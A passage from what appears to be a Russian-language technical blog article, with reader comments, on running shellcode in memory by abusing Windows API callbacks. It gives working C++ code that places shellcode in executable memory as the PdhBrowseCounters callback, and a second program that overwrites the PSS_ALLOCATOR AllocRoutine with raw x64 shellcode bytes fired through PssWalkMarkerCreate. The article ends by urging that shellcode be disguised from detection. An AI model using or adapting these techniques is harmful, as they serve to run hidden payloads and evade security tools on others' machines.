SendMessage(hwndButton, BM_CLICK, 0, 0);
}
else {
std::cout << "[-] Cant get handle on button" << std::endl;
}
}
}
return 0;
}
void ShowCounterBrowser()
{
PDH_BROWSE_DLG_CONFIG dlg;
ZeroMemory(&dlg, sizeof(PDH_BROWSE_DLG_CONFIG));
unsigned char AbcdVar[] = "<SHELLCODE HERE>";
PVOID addr = VirtualAlloc(0, sizeof(AbcdVar), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(addr, AbcdVar, sizeof(AbcdVar));
dlg.pCallBack = (CounterPathCallBack)addr;
dlg.dwCallBackArg = NULL;
dlg.bIncludeInstanceIndex = FALSE;
dlg.bSingleCounterPerAdd = TRUE;
dlg.bSingleCounterPerDialog = TRUE;
dlg.bLocalCountersOnly = FALSE;
dlg.bWildCardInstances = TRUE;
dlg.bHideDetailBox = TRUE;
dlg.bInitializePath = FALSE;
dlg.dwDefaultDetailLevel = PERF_DETAIL_WIZARD;
dlg.szReturnPathBuffer = new wchar_t[PDH_MAX_COUNTER_PATH + 1];
dlg.cchReturnPathLength = PDH_MAX_COUNTER_PATH;
HANDLE hThread = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);
if (PdhBrowseCounters(&dlg) == ERROR_SUCCESS)
{
printf("Chosen counter: %s\n", dlg.szReturnPathBuffer);
}
else
{
printf("No counter chosen\n");
}
delete[] dlg.szReturnPathBuffer;
}
int main()
{
ShowCounterBrowser();
return 0;
}
Или пусть это будет функция PssCaptureSnapshot(), которая позволяет создавать различные снапшоты процесса. После чего для получения информации о снапшоте можно пробежать по нему с помощью PssWalkMarkerCreate(), которому требуется первым параметром передать структуру PSS_ALLOCATOR, внутри которой и указываются коллбэки. Сами эти коллбэки нужны для кастомной реализации функций по выделению и освобождению памяти при работе системы со снепшотом, но ничего нам не помешает указать там наш шеллкод:
#include <Windows.h>
#include <processsnapshot.h>
#include <iostream>
// Function To Rewrite
VOID* CALLBACK AllocRoutine(void* Context, DWORD Size)
{
MessageBox(NULL, L"AllocRoutine function is called!", L"Information", MB_ICONINFORMATION);
return (HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size));
}
int main()
{
DWORD ProcessId = GetCurrentProcessId();
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
if (hProcess == NULL)
{
std::cerr << "Could not open the process." << std::endl;
return 1;
}
HPSS SnapshotHandle = NULL;
PSS_CAPTURE_FLAGS CaptureFlags = PSS_CAPTURE_NONE;
DWORD SnapshotFlags = 0;
DWORD Result = PssCaptureSnapshot(hProcess, CaptureFlags, SnapshotFlags, &SnapshotHandle);
if (Result != ERROR_SUCCESS)
{
std::cerr << "Could not create the process snapshot. Error: " << Result << std::endl;
return 1;
}
PSS_ALLOCATOR Allocator;
Allocator.AllocRoutine = AllocRoutine;
Allocator.FreeRoutine = NULL;
unsigned char shellcode[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6,\x00";
DWORD old;
VirtualProtect(AllocRoutine, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &old);
memcpy(AllocRoutine, shellcode, sizeof(shellcode));
HPSSWALK WalkMarkerHandle;
Result = PssWalkMarkerCreate(&Allocator, &WalkMarkerHandle);
if (Result != ERROR_SUCCESS)
{
std::cerr << "Could not create the walk marker. Error: " << Result << std::endl;
return 1;
}
PssFreeSnapshot(GetCurrentProcess(), SnapshotHandle);
CloseHandle(hProcess);
return 0;
}
Как видим, полёт фантазии может быть любым, он не ограничен никем и ничем. Самое главное — не бояться экспериментировать и творить.
Заключение
Подытоживая, можно сделать вывод, что методы исполнения в памяти обычно сводятся либо к использованию особенностей языка программирования, функционал которого позволяет осуществлять операции без взаимодействия с диском, либо же к генерации шеллкода из исполняемой программы. С другой стороны, наличие шеллкода в явном виде — плохая практика, поэтому нужно маскировать его всеми доступными способами, но об этом поговорим в следующий раз.
Комментарии (5)
DBalashov
13.10.2023 11:17+1Причём, как я узнал позже, этот функционал появился относительно недавно, лишь в 2021 году.
Значительно раньше, 2015-й наверное, плюс-минус. На предпредыдущем месте работы мы как раз в то время начали писать один проект, который плотно использовал Microsoft.CodeAnalysis.CSharp, CSharpSyntaxTree и in-memory compiling.
neco
13.10.2023 11:17да в 2015 они добавили, меня тогда ещё сильно поразило, что что код можно делать из кода и компилить в онлайне.. собственно тогда у меня возникала идея, что его можно тупо передовать от сервера и компилить на клиенте... и я тогда подумал, что это очень опасная штука...
ну это дыра всей архитектуры фон-неймана... (((
в этом плане армы побеждают с гарвордовской архитектурой... но живем с чем есть..
neco
13.10.2023 11:17хабр не торт?
меня удивляет низкий рейтинг этой статьи?.
очень профессиональная статья и техническая
neco
ещё есть вот такой трюк для сборки исходника прямо на хосте.. не смог найти статью, где я об этом читал, но точно была..
и если это ещё добавить, тогда ещё вложенность матрёшки можно поднять.. но да тут диск используется, но можно же комбинировать...
пример командного файла типа .bat или .cmd:
neco
единственной сложностью мне кажется, вот этот момент:
"Обратите внимание, что для запуска кода требуется добавить пакет Microsoft.CodeAnalysis.CSharp: "...
но имхо для тех, кто понимает идеи - сам сможет понять как обойти это ограничение..